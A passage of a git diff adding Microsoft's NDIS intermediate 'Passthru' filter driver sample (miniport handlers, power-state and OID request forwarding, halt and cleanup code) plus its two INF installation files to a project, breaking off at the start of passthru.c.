+ NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + NDIS_STATUS_FAILURE); + } + else + { + pAdapt->OutstandingSends++; + NdisReleaseSpinLock(&pAdapt->Lock); + + NdisSend(&Status, + pAdapt->BindingHandle, + Packet); + + if (Status != NDIS_STATUS_PENDING) + { + NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + Status); + + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + } + continue; + } + } +#endif + do + { + NdisAcquireSpinLock(&pAdapt->Lock); + // + // If the below miniport is going to low power state, stop sending down any packet. + // + if (pAdapt->PTDeviceState > NdisDeviceStateD0) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + pAdapt->OutstandingSends++; + NdisReleaseSpinLock(&pAdapt->Lock); + + NdisAllocatePacket(&Status, + &MyPacket, + pAdapt->SendPacketPoolHandle); + + if (Status == NDIS_STATUS_SUCCESS) + { + PSEND_RSVD SendRsvd; + + SendRsvd = (PSEND_RSVD)(MyPacket->ProtocolReserved); + SendRsvd->OriginalPkt = Packet; + + MyPacket->Private.Flags = NdisGetPacketFlags(Packet); + + MyPacket->Private.Head = Packet->Private.Head; + MyPacket->Private.Tail = Packet->Private.Tail; +#ifdef WIN9X + // + // Work around the fact that NDIS does not initialize this + // to FALSE on Win9x. + // + MyPacket->Private.ValidCounts = FALSE; +#endif // WIN9X + + // + // Copy the OOB data from the original packet to the new + // packet. + // + NdisMoveMemory(NDIS_OOB_DATA_FROM_PACKET(MyPacket), + NDIS_OOB_DATA_FROM_PACKET(Packet), + sizeof(NDIS_PACKET_OOB_DATA)); + // + // Copy relevant parts of the per packet info into the new packet + // +#ifndef WIN9X + NdisIMCopySendPerPacketInfo(MyPacket, Packet); +#endif + + // + // Copy the Media specific information + // + NDIS_GET_PACKET_MEDIA_SPECIFIC_INFO(Packet, + &MediaSpecificInfo, + &MediaSpecificInfoSize); + + if (MediaSpecificInfo || MediaSpecificInfoSize) + { + NDIS_SET_PACKET_MEDIA_SPECIFIC_INFO(MyPacket, + MediaSpecificInfo, + MediaSpecificInfoSize); + } + + NdisSend(&Status, + pAdapt->BindingHandle, + MyPacket); + + if (Status != NDIS_STATUS_PENDING) + { +#ifndef WIN9X + NdisIMCopySendCompletePerPacketInfo (Packet, MyPacket); +#endif + NdisFreePacket(MyPacket); + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + } + else + { + // + // The driver cannot allocate a packet. + // + ADAPT_DECR_PENDING_SENDS(pAdapt); + } + } + while (FALSE); + + if (Status != NDIS_STATUS_PENDING) + { + NdisMSendComplete(ADAPT_MINIPORT_HANDLE(pAdapt), + Packet, + Status); + } + } +} + + +NDIS_STATUS +MPQueryInformation( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_OID Oid, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesWritten, + OUT PULONG BytesNeeded + ) +/*++ + +Routine Description: + + Entry point called by NDIS to query for the value of the specified OID. + Typical processing is to forward the query down to the underlying miniport. + + The following OIDs are filtered here: + + OID_PNP_QUERY_POWER - return success right here + + OID_GEN_SUPPORTED_GUIDS - do not forward, otherwise we will show up + multiple instances of private GUIDs supported by the underlying miniport. + + OID_PNP_CAPABILITIES - we do send this down to the lower miniport, but + the values returned are postprocessed before we complete this request; + see PtRequestComplete. + + NOTE on OID_TCP_TASK_OFFLOAD - if this IM driver modifies the contents + of data it passes through such that a lower miniport may not be able + to perform TCP task offload, then it should not forward this OID down, + but fail it here with the status NDIS_STATUS_NOT_SUPPORTED. This is to + avoid performing incorrect transformations on data. + + If our miniport edge (upper edge) is at a low-power state, fail the request. + + If our protocol edge (lower edge) has been notified of a low-power state, + we pend this request until the miniport below has been set to D0. Since + requests to miniports are serialized always, at most a single request will + be pended. + +Arguments: + + MiniportAdapterContext Pointer to the adapter structure + Oid Oid for this query + InformationBuffer Buffer for information + InformationBufferLength Size of this buffer + BytesWritten Specifies how much info is written + BytesNeeded In case the buffer is smaller than what we need, tell them how much is needed + + +Return Value: + + Return code from the NdisRequest below. + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status = NDIS_STATUS_FAILURE; + + do + { + if (Oid == OID_PNP_QUERY_POWER) + { + // + // Do not forward this. + // + Status = NDIS_STATUS_SUCCESS; + break; + } + + if (Oid == OID_GEN_SUPPORTED_GUIDS) + { + // + // Do not forward this, otherwise we will end up with multiple + // instances of private GUIDs that the underlying miniport + // supports. + // + Status = NDIS_STATUS_NOT_SUPPORTED; + break; + } + + if (Oid == OID_TCP_TASK_OFFLOAD) + { + // + // Fail this -if- this driver performs data transformations + // that can interfere with a lower driver's ability to offload + // TCP tasks. + // + // Status = NDIS_STATUS_NOT_SUPPORTED; + // break; + // + } + // + // If the miniport below is unbinding, just fail any request + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->UnbindingInProcess == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + NdisReleaseSpinLock(&pAdapt->Lock); + // + // All other queries are failed, if the miniport is not at D0, + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + Status = NDIS_STATUS_FAILURE; + break; + } + + pAdapt->Request.RequestType = NdisRequestQueryInformation; + pAdapt->Request.DATA.QUERY_INFORMATION.Oid = Oid; + pAdapt->Request.DATA.QUERY_INFORMATION.InformationBuffer = InformationBuffer; + pAdapt->Request.DATA.QUERY_INFORMATION.InformationBufferLength = InformationBufferLength; + pAdapt->BytesNeeded = BytesNeeded; + pAdapt->BytesReadOrWritten = BytesWritten; + + // + // If the miniport below is binding, fail the request + // + NdisAcquireSpinLock(&pAdapt->Lock); + + if (pAdapt->UnbindingInProcess == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + // + // If the Protocol device state is OFF, mark this request as being + // pended. We queue this until the device state is back to D0. + // + if ((pAdapt->PTDeviceState > NdisDeviceStateD0) + && (pAdapt->StandingBy == FALSE)) + { + pAdapt->QueuedRequest = TRUE; + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_PENDING; + break; + } + // + // This is in the process of powering down the system, always fail the request + // + if (pAdapt->StandingBy == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + pAdapt->OutstandingRequests = TRUE; + + NdisReleaseSpinLock(&pAdapt->Lock); + + // + // default case, most requests will be passed to the miniport below + // + NdisRequest(&Status, + pAdapt->BindingHandle, + &pAdapt->Request); + + + if (Status != NDIS_STATUS_PENDING) + { + PtRequestComplete(pAdapt, &pAdapt->Request, Status); + Status = NDIS_STATUS_PENDING; + } + + } while (FALSE); + + return(Status); + +} + + +VOID +MPQueryPNPCapabilities( + IN OUT PADAPT pAdapt, + OUT PNDIS_STATUS pStatus + ) +/*++ + +Routine Description: + + Postprocess a request for OID_PNP_CAPABILITIES that was forwarded + down to the underlying miniport, and has been completed by it. + +Arguments: + + pAdapt - Pointer to the adapter structure + pStatus - Place to return final status + +Return Value: + + None. + +--*/ + +{ + PNDIS_PNP_CAPABILITIES pPNPCapabilities; + PNDIS_PM_WAKE_UP_CAPABILITIES pPMstruct; + + if (pAdapt->Request.DATA.QUERY_INFORMATION.InformationBufferLength >= sizeof(NDIS_PNP_CAPABILITIES)) + { + pPNPCapabilities = (PNDIS_PNP_CAPABILITIES)(pAdapt->Request.DATA.QUERY_INFORMATION.InformationBuffer); + + // + // The following fields must be overwritten by an IM driver. + // + pPMstruct= & pPNPCapabilities->WakeUpCapabilities; + pPMstruct->MinMagicPacketWakeUp = NdisDeviceStateUnspecified; + pPMstruct->MinPatternWakeUp = NdisDeviceStateUnspecified; + pPMstruct->MinLinkChangeWakeUp = NdisDeviceStateUnspecified; + *pAdapt->BytesReadOrWritten = sizeof(NDIS_PNP_CAPABILITIES); + *pAdapt->BytesNeeded = 0; + + + // + // Setting our internal flags + // Default, device is ON + // + pAdapt->MPDeviceState = NdisDeviceStateD0; + pAdapt->PTDeviceState = NdisDeviceStateD0; + + *pStatus = NDIS_STATUS_SUCCESS; + } + else + { + *pAdapt->BytesNeeded= sizeof(NDIS_PNP_CAPABILITIES); + *pStatus = NDIS_STATUS_RESOURCES; + } +} + + +NDIS_STATUS +MPSetInformation( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_OID Oid, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesRead, + OUT PULONG BytesNeeded + ) +/*++ + +Routine Description: + + Miniport SetInfo handler. + + In the case of OID_PNP_SET_POWER, record the power state and return the OID. + Do not pass below + If the device is suspended, do not block the SET_POWER_OID + as it is used to reactivate the Passthru miniport + + + PM- If the MP is not ON (DeviceState > D0) return immediately (except for 'query power' and 'set power') + If MP is ON, but the PT is not at D0, then queue the queue the request for later processing + + Requests to miniports are always serialized + + +Arguments: + + MiniportAdapterContext Pointer to the adapter structure + Oid Oid for this query + InformationBuffer Buffer for information + InformationBufferLength Size of this buffer + BytesRead Specifies how much info is read + BytesNeeded In case the buffer is smaller than what we need, tell them how much is needed + +Return Value: + + Return code from the NdisRequest below. + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + + Status = NDIS_STATUS_FAILURE; + + do + { + // + // The Set Power should not be sent to the miniport below the Passthru, but is handled internally + // + if (Oid == OID_PNP_SET_POWER) + { + MPProcessSetPowerOid(&Status, + pAdapt, + InformationBuffer, + InformationBufferLength, + BytesRead, + BytesNeeded); + break; + + } + + // + // If the miniport below is unbinding, fail the request + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->UnbindingInProcess == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + NdisReleaseSpinLock(&pAdapt->Lock); + // + // All other Set Information requests are failed, if the miniport is + // not at D0 or is transitioning to a device state greater than D0. + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0) + { + Status = NDIS_STATUS_FAILURE; + break; + } + + // Set up the Request and return the result + pAdapt->Request.RequestType = NdisRequestSetInformation; + pAdapt->Request.DATA.SET_INFORMATION.Oid = Oid; + pAdapt->Request.DATA.SET_INFORMATION.InformationBuffer = InformationBuffer; + pAdapt->Request.DATA.SET_INFORMATION.InformationBufferLength = InformationBufferLength; + pAdapt->BytesNeeded = BytesNeeded; + pAdapt->BytesReadOrWritten = BytesRead; + + // + // If the miniport below is unbinding, fail the request + // + NdisAcquireSpinLock(&pAdapt->Lock); + if (pAdapt->UnbindingInProcess == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + + // + // If the device below is at a low power state, we cannot send it the + // request now, and must pend it. + // + if ((pAdapt->PTDeviceState > NdisDeviceStateD0) + && (pAdapt->StandingBy == FALSE)) + { + pAdapt->QueuedRequest = TRUE; + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_PENDING; + break; + } + // + // This is in the process of powering down the system, always fail the request + // + if (pAdapt->StandingBy == TRUE) + { + NdisReleaseSpinLock(&pAdapt->Lock); + Status = NDIS_STATUS_FAILURE; + break; + } + pAdapt->OutstandingRequests = TRUE; + + NdisReleaseSpinLock(&pAdapt->Lock); + // + // Forward the request to the device below. + // + NdisRequest(&Status, + pAdapt->BindingHandle, + &pAdapt->Request); + + if (Status != NDIS_STATUS_PENDING) + { + *BytesRead = pAdapt->Request.DATA.SET_INFORMATION.BytesRead; + *BytesNeeded = pAdapt->Request.DATA.SET_INFORMATION.BytesNeeded; + pAdapt->OutstandingRequests = FALSE; + } + + } while (FALSE); + + return(Status); +} + + +VOID +MPProcessSetPowerOid( + IN OUT PNDIS_STATUS pNdisStatus, + IN PADAPT pAdapt, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesRead, + OUT PULONG BytesNeeded + ) +/*++ + +Routine Description: + This routine does all the procssing for a request with a SetPower Oid + The miniport shoud accept the Set Power and transition to the new state + + The Set Power should not be passed to the miniport below + + If the IM miniport is going into a low power state, then there is no guarantee if it will ever + be asked go back to D0, before getting halted. No requests should be pended or queued. + + +Arguments: + pNdisStatus - Status of the operation + pAdapt - The Adapter structure + InformationBuffer - The New DeviceState + InformationBufferLength + BytesRead - No of bytes read + BytesNeeded - No of bytes needed + + +Return Value: + Status - NDIS_STATUS_SUCCESS if all the wait events succeed. + +--*/ +{ + + + NDIS_DEVICE_POWER_STATE NewDeviceState; + + DBGPRINT(("==>MPProcessSetPowerOid: Adapt %p\n", pAdapt)); + + ASSERT (InformationBuffer != NULL); + + *pNdisStatus = NDIS_STATUS_FAILURE; + + do + { + // + // Check for invalid length + // + if (InformationBufferLength < sizeof(NDIS_DEVICE_POWER_STATE)) + { + *pNdisStatus = NDIS_STATUS_INVALID_LENGTH; + break; + } + + NewDeviceState = (*(PNDIS_DEVICE_POWER_STATE)InformationBuffer); + + // + // Check for invalid device state + // + if ((pAdapt->MPDeviceState > NdisDeviceStateD0) && (NewDeviceState != NdisDeviceStateD0)) + { + // + // If the miniport is in a non-D0 state, the miniport can only receive a Set Power to D0 + // + ASSERT (!(pAdapt->MPDeviceState > NdisDeviceStateD0) && (NewDeviceState != NdisDeviceStateD0)); + + *pNdisStatus = NDIS_STATUS_FAILURE; + break; + } + + // + // Is the miniport transitioning from an On (D0) state to an Low Power State (>D0) + // If so, then set the StandingBy Flag - (Block all incoming requests) + // + if (pAdapt->MPDeviceState == NdisDeviceStateD0 && NewDeviceState > NdisDeviceStateD0) + { + pAdapt->StandingBy = TRUE; + } + + // + // If the miniport is transitioning from a low power state to ON (D0), then clear the StandingBy flag + // All incoming requests will be pended until the physical miniport turns ON. + // + if (pAdapt->MPDeviceState > NdisDeviceStateD0 && NewDeviceState == NdisDeviceStateD0) + { + pAdapt->StandingBy = FALSE; + } + + // + // Now update the state in the pAdapt structure; + // + pAdapt->MPDeviceState = NewDeviceState; + + *pNdisStatus = NDIS_STATUS_SUCCESS; + + + } while (FALSE); + + if (*pNdisStatus == NDIS_STATUS_SUCCESS) + { + // + // The miniport resume from low power state + // + if (pAdapt->StandingBy == FALSE) + { + // + // If we need to indicate the media connect state + // + if (pAdapt->LastIndicatedStatus != pAdapt->LatestUnIndicateStatus) + { + NdisMIndicateStatus(pAdapt->MiniportHandle, + pAdapt->LatestUnIndicateStatus, + (PVOID)NULL, + 0); + NdisMIndicateStatusComplete(pAdapt->MiniportHandle); + pAdapt->LastIndicatedStatus = pAdapt->LatestUnIndicateStatus; + } + } + else + { + // + // Initialize LatestUnIndicatedStatus + // + pAdapt->LatestUnIndicateStatus = pAdapt->LastIndicatedStatus; + } + *BytesRead = sizeof(NDIS_DEVICE_POWER_STATE); + *BytesNeeded = 0; + } + else + { + *BytesRead = 0; + *BytesNeeded = sizeof (NDIS_DEVICE_POWER_STATE); + } + + DBGPRINT(("<==MPProcessSetPowerOid: Adapt %p\n", pAdapt)); +} + + +VOID +MPReturnPacket( + IN NDIS_HANDLE MiniportAdapterContext, + IN PNDIS_PACKET Packet + ) +/*++ + +Routine Description: + + NDIS Miniport entry point called whenever protocols are done with + a packet that we had indicated up and they had queued up for returning + later. + +Arguments: + + MiniportAdapterContext - pointer to ADAPT structure + Packet - packet being returned. + +Return Value: + + None. + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + +#ifdef NDIS51 + // + // Packet stacking: Check if this packet belongs to us. + // + if (NdisGetPoolFromPacket(Packet) != pAdapt->RecvPacketPoolHandle) + { + // + // We reused the original packet in a receive indication. + // Simply return it to the miniport below us. + // + NdisReturnPackets(&Packet, 1); + } + else +#endif // NDIS51 + { + // + // This is a packet allocated from this IM's receive packet pool. + // Reclaim our packet, and return the original to the driver below. + // + + PNDIS_PACKET MyPacket; + PRECV_RSVD RecvRsvd; + + RecvRsvd = (PRECV_RSVD)(Packet->MiniportReserved); + MyPacket = RecvRsvd->OriginalPkt; + + NdisFreePacket(Packet); + NdisReturnPackets(&MyPacket, 1); + } +} + + +NDIS_STATUS +MPTransferData( + OUT PNDIS_PACKET Packet, + OUT PUINT BytesTransferred, + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_HANDLE MiniportReceiveContext, + IN UINT ByteOffset, + IN UINT BytesToTransfer + ) +/*++ + +Routine Description: + + Miniport's transfer data handler. + +Arguments: + + Packet Destination packet + BytesTransferred Place-holder for how much data was copied + MiniportAdapterContext Pointer to the adapter structure + MiniportReceiveContext Context + ByteOffset Offset into the packet for copying data + BytesToTransfer How much to copy. + +Return Value: + + Status of transfer + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + + // + // Return, if the device is OFF + // + + if (IsIMDeviceStateOn(pAdapt) == FALSE) + { + return NDIS_STATUS_FAILURE; + } + + NdisTransferData(&Status, + pAdapt->BindingHandle, + MiniportReceiveContext, + ByteOffset, + BytesToTransfer, + Packet, + BytesTransferred); + + return(Status); +} + +VOID +MPHalt( + IN NDIS_HANDLE MiniportAdapterContext + ) +/*++ + +Routine Description: + + Halt handler. All the hard-work for clean-up is done here. + +Arguments: + + MiniportAdapterContext Pointer to the Adapter + +Return Value: + + None. + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + NDIS_STATUS Status; + PADAPT *ppCursor; + + DBGPRINT(("==>MiniportHalt: Adapt %p\n", pAdapt)); + + // + // Remove this adapter from the global list + // + NdisAcquireSpinLock(&GlobalLock); + + for (ppCursor = &pAdaptList; *ppCursor != NULL; ppCursor = &(*ppCursor)->Next) + { + if (*ppCursor == pAdapt) + { + *ppCursor = pAdapt->Next; + break; + } + } + + NdisReleaseSpinLock(&GlobalLock); + + // + // Delete the ioctl interface that was created when the miniport + // was created. + // + (VOID)PtDeregisterDevice(); + + // + // If we have a valid bind, close the miniport below the protocol + // + if (pAdapt->BindingHandle != NULL) + { + // + // Close the binding below. and wait for it to complete + // + NdisResetEvent(&pAdapt->Event); + + NdisCloseAdapter(&Status, pAdapt->BindingHandle); + + if (Status == NDIS_STATUS_PENDING) + { + NdisWaitEvent(&pAdapt->Event, 0); + Status = pAdapt->Status; + } + + ASSERT (Status == NDIS_STATUS_SUCCESS); + + pAdapt->BindingHandle = NULL; + } + + // + // Free all resources on this adapter structure. + // + +// BEGIN_PTUSERIO + + // ÒƳý¶ÔÊÊÅäÆ÷µÄÒýÓà + PtDerefAdapter(pAdapt); + +// END_PTUSERIO + + DBGPRINT(("<== MiniportHalt: pAdapt %p\n", pAdapt)); +} + + +#ifdef NDIS51_MINIPORT + +VOID +MPCancelSendPackets( + IN NDIS_HANDLE MiniportAdapterContext, + IN PVOID CancelId + ) +/*++ + +Routine Description: + + The miniport entry point to handle cancellation of all send packets + that match the given CancelId. If we have queued any packets that match + this, then we should dequeue them and call NdisMSendComplete for all + such packets, with a status of NDIS_STATUS_REQUEST_ABORTED. + + We should also call NdisCancelSendPackets in turn, on each lower binding + that this adapter corresponds to. This is to let miniports below cancel + any matching packets. + +Arguments: + + MiniportAdapterContext - pointer to ADAPT structure + CancelId - ID of packets to be cancelled. + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt = (PADAPT)MiniportAdapterContext; + + // + // If we queue packets on our adapter structure, this would be + // the place to acquire a spinlock to it, unlink any packets whose + // Id matches CancelId, release the spinlock and call NdisMSendComplete + // with NDIS_STATUS_REQUEST_ABORTED for all unlinked packets. + // + + // + // Next, pass this down so that we let the miniport(s) below cancel + // any packets that they might have queued. + // + NdisCancelSendPackets(pAdapt->BindingHandle, CancelId); + + return; +} + +VOID +MPDevicePnPEvent( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_DEVICE_PNP_EVENT DevicePnPEvent, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength + ) +/*++ + +Routine Description: + + This handler is called to notify us of PnP events directed to + our miniport device object. + +Arguments: + + MiniportAdapterContext - pointer to ADAPT structure + DevicePnPEvent - the event + InformationBuffer - Points to additional event-specific information + InformationBufferLength - length of above + +Return Value: + + None +--*/ +{ + // TBD - add code/comments about processing this. + + UNREFERENCED_PARAMETER(MiniportAdapterContext); + UNREFERENCED_PARAMETER(DevicePnPEvent); + UNREFERENCED_PARAMETER(InformationBuffer); + UNREFERENCED_PARAMETER(InformationBufferLength); + + return; +} + +VOID +MPAdapterShutdown( + IN NDIS_HANDLE MiniportAdapterContext + ) +/*++ + +Routine Description: + + This handler is called to notify us of an impending system shutdown. + +Arguments: + + MiniportAdapterContext - pointer to ADAPT structure + +Return Value: + + None +--*/ +{ + UNREFERENCED_PARAMETER(MiniportAdapterContext); + + return; +} + +#endif + + +VOID +MPFreeAllPacketPools( + IN PADAPT pAdapt + ) +/*++ + +Routine Description: + + Free all packet pools on the specified adapter. + +Arguments: + + pAdapt - pointer to ADAPT structure + +Return Value: + + None + +--*/ +{ + if (pAdapt->RecvPacketPoolHandle != NULL) + { + // + // Free the packet pool that is used to indicate receives + // + NdisFreePacketPool(pAdapt->RecvPacketPoolHandle); + + pAdapt->RecvPacketPoolHandle = NULL; + } + + if (pAdapt->SendPacketPoolHandle != NULL) + { + + // + // Free the packet pool that is used to send packets below + // + + NdisFreePacketPool(pAdapt->SendPacketPoolHandle); + + pAdapt->SendPacketPoolHandle = NULL; + + } +} + diff --git a/Project/Network and Communication/Phoenix/sys/netsf.inf b/Project/Network and Communication/Phoenix/sys/netsf.inf new file mode 100644 index 0000000..9e700e0 --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/netsf.inf @@ -0,0 +1,156 @@ +; -- NETSF.INF -- +; +; Passthru driver INF file - this is the INF for the service (protocol) +; part. +; +; Copyright (c) 1993-2001, Microsoft Corporation +; +; ---------------------------------------------------------------------- +; Notes: +; 0. The term "filter" is used in this INF to refer to an NDIS IM driver that +; implements a 1:1 relationship between upper and lower bindings. +; +; 1. Items specifically required for a filter have been marked with +; "!!--Filter Specific--!!" keyword +; 2. In general a filter DOES NOT require a notify object for proper installation. +; A notify object is only required if one wants to have better control +; over binding operations or if one wants to receive notifications +; when other components get installed/removed/bound/unbound. +; Since Windows 2000 systems do not have support for CopyINF directive, +; a notify object is required to programmatically copy the miniport INF +; file to the system INF directory. Previous versions of this INF file +; erroneously used to copy the INF files directly by using the CopyFiles +; directive. +; On Windows XP, you can install a filter IM without a notify object. +; by following the instructions in (4). +; +; 3. If you want to use this INF file with your own IM driver, please +; make the following modifications: +; File netsf.inf +; -------------- +; a. In section [SourceDiskFiles] and [Passthru.Files.Sys] +; change passthru.sys to the name of your own driver binary. +; b. In section [Passthru.ndi.AddReg], change values of +; BindForm and MiniportId to appropriate values. +; File netsf_m.inf +; ---------------- +; a. Replace MS_PassthruMP with InfId of your miniport. +; b. In section [PassthruMP.AddService], +; change ServiceBinary appropriately. +; c. In section [PassthruMP.ndi.AddReg], +; change "Passthru" in the line having "Service" +; to reflect the appropriate name +; +; +; ---------------------------------------------------------------------- + +[Version] +Signature = "$Windows NT$" +Class = NetService +ClassGUID = {4D36E974-E325-11CE-BFC1-08002BE10318} +Provider = %Msft% +DriverVer = 06/24/1999,5.00.2071.1 + + +[Manufacturer] +%Msft% = MSFT + +[ControlFlags] + +;========================================================================= +; +;========================================================================= + +[MSFT] +%Passthru_Desc% = Passthru.ndi, ms_passthru + + + +[Passthru.ndi] +AddReg = Passthru.ndi.AddReg, Passthru.AddReg +Characteristics = 0x4410 ; NCF_FILTER | NCF_NDIS_PROTOCOL !--Filter Specific--!! +CopyFiles = Passthru.Files.Sys +CopyInf = netsf_m.inf + +[Passthru.ndi.Remove] +DelFiles = Passthru.Files.Sys + +[Passthru.ndi.Services] +AddService = Passthru,, Passthru.AddService + +[Passthru.AddService] +DisplayName = %PassthruService_Desc% +ServiceType = 1 ;SERVICE_KERNEL_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +ServiceBinary = %12%\passthru.sys +LoadOrderGroup = PNP_TDI +AddReg = Passthru.AddService.AddReg + + +[Passthru.AddService.AddReg] +; ---------------------------------------------------------------------- +; Add any miniport-specific parameters here. These are params that your +; filter device is going to use. +; +;HKR, Parameters, ParameterName, 0x10000, "MultiSz", "Parameter", "Value" +;HKR, Parameters, ParameterName2, 0x10001, 4 + + +; ---------------------------------------------------------------------- +; File copy +; +[SourceDisksNames] +1=%DiskDescription%,"",, + +[SourceDisksFiles] +passthru.sys=1 + +[DestinationDirs] +DefaultDestDir = 12 +Passthru.Files.Sys = 12 ; %windir%\System32\drivers + +[Passthru.Files.Sys] +passthru.sys,,,2 + +; ---------------------------------------------------------------------- +; Filter Install +; + +[Passthru.ndi.AddReg] +HKR, Ndi, HelpText, , %Passthru_HELP% + +; ---------------------------------------------------------------------- +; !!--Filter Specific--!! +; +; Note: +; 1. Other components may also have UpperRange/LowerRange but for filters +; the value of both of them must be noupper/nolower +; 2. The value FilterClass is required. +; 3. The value Service is required +; 4. FilterDeviceInfId is the InfId of the filter device (miniport) that will +; be installed for each filtered adapter. +; In this case this is ms_passthrump (refer to netsf_m.inf) +; +HKR, Ndi, FilterClass, , failover +HKR, Ndi, FilterDeviceInfId, , ms_passthrump +HKR, Ndi, Service, , Passthru +HKR, Ndi\Interfaces, UpperRange, , noupper +HKR, Ndi\Interfaces, LowerRange, , nolower +HKR, Ndi\Interfaces, FilterMediaTypes, , "ethernet, tokenring, fddi, wan" + +[Passthru.AddReg] +; The following key is Required +; The following key is Passthru specific +HKR, Parameters, Param1, 0, 4 + +; ---------------------------------------------------------------------- +[Strings] +Msft = "Microsoft" +DiskDescription = "Microsoft Passthru Driver Disk" + +Passthru_Desc = "Passthru Driver" +Passthru_HELP = "Passthru Driver" +PassthruService_Desc = "Passthru Service" + + diff --git a/Project/Network and Communication/Phoenix/sys/netsf_m.inf b/Project/Network and Communication/Phoenix/sys/netsf_m.inf new file mode 100644 index 0000000..1522514 --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/netsf_m.inf @@ -0,0 +1,75 @@ +; -- NETSF_M.INF -- +; +; Passsthru Miniport INF file +; +; Copyright (c) 1993-1999, Microsoft Corporation + +; ---------------------------------------------------------------------- +; Notes: +; 0. The term "filter" is used here to refer to an NDIS IM driver that +; implements a 1:1 relationship between upper and lower bindings. +; 1. Items specifically required for a filter have been marked with +; "!!--Filter Specific--!!" keyword +; 2. A filter DOES NOT require a notify object for proper installation. +; A notify object is only required if one wants to have better control +; over binding operations or if one wants to receive notifications +; when other components get installed/removed/bound/unbound. +; This sample uses a notify object as an example only. If you do not +; want to use a notify object, please comment out the lines that add +; ClsId and ComponentDll registry keys. +; ---------------------------------------------------------------------- + +[Version] +signature = "$Windows NT$" +Class = Net +ClassGUID = {4d36e972-e325-11ce-bfc1-08002be10318} +Provider = %Msft% +DriverVer = 06/24/1999,5.00.2071.1 + +[ControlFlags] +ExcludeFromSelect = ms_passthrump + +[DestinationDirs] +DefaultDestDir=12 +; No files to copy + +[Manufacturer] +%Msft% = MSFT + +[MSFT] +%PassthruMP_Desc% = PassthruMP.ndi, ms_passthrump + +[PassthruMP.ndi] +Characteristics = 0x29 ;NCF_NOT_USER_REMOVABLE | NCF_VIRTUAL | NCF_HIDDEN +CopyFiles = + +[PassthruMP.ndi.Services] +AddService = Passthru,0x2, PassthruMP.AddService + + +[PassthruMP.AddService] +ServiceType = 1 ;SERVICE_KERNEL_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +ServiceBinary = %12%\passthru.sys + + +[PassthruMP.AddService.AddReg] +; ---------------------------------------------------------------------- +; Add any miniport-specific parameters here. These are params that your +; filter device is going to use. +; +;HKR, Parameters, ParameterName, 0x10000, "MultiSz", "Parameter", "Value" +;HKR, Parameters, ParameterName2, 0x10001, 4 + +[Strings] +Msft = "Microsoft" +PassthruMP_Desc = "Passthru Miniport" + +[SourceDisksNames] +;None + +[SourceDisksFiles] +;None + + diff --git a/Project/Network and Communication/Phoenix/sys/passthru.c b/Project/Network and Communication/Phoenix/sys/passthru.c new file mode 100644 index 0000000..c88dc4e --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/passthru.c @@ -0,0 +1,415 @@ +/*++ + +Copyright (c) 1992-2000 Microsoft Corporation + +Module Name: + + passthru.c + +Abstract: + + Ndis Intermediate Miniport driver sample. This is a passthru driver. + +Author: + +Environment: + + +Revision History: + + +--*/ + + +#include "precomp.h" +#pragma hdrstop + + +#pragma NDIS_INIT_FUNCTION(DriverEntry) + +NDIS_HANDLE ProtHandle = NULL; +NDIS_HANDLE DriverHandle = NULL; +NDIS_MEDIUM MediumArray[4] = + { + NdisMedium802_3, // Ethernet + NdisMedium802_5, // Token-ring + NdisMediumFddi, // Fddi + NdisMediumWan // NDISWAN + }; + +NDIS_SPIN_LOCK GlobalLock; + +PADAPT pAdaptList = NULL; +LONG MiniportCount = 0; + +NDIS_HANDLE NdisWrapperHandle; + +// +// To support ioctls from user-mode: +// + +#define LINKNAME_STRING L"\\DosDevices\\Passthru" +#define NTDEVICE_STRING L"\\Device\\Passthru" + +NDIS_HANDLE NdisDeviceHandle = NULL; +PDEVICE_OBJECT ControlDeviceObject = NULL; + +enum _DEVICE_STATE +{ + PS_DEVICE_STATE_READY = 0, // ready for create/delete + PS_DEVICE_STATE_CREATING, // create operation in progress + PS_DEVICE_STATE_DELETING // delete operation in progress +} ControlDeviceState = PS_DEVICE_STATE_READY; + + + +NTSTATUS +DriverEntry( + IN PDRIVER_OBJECT DriverObject, + IN 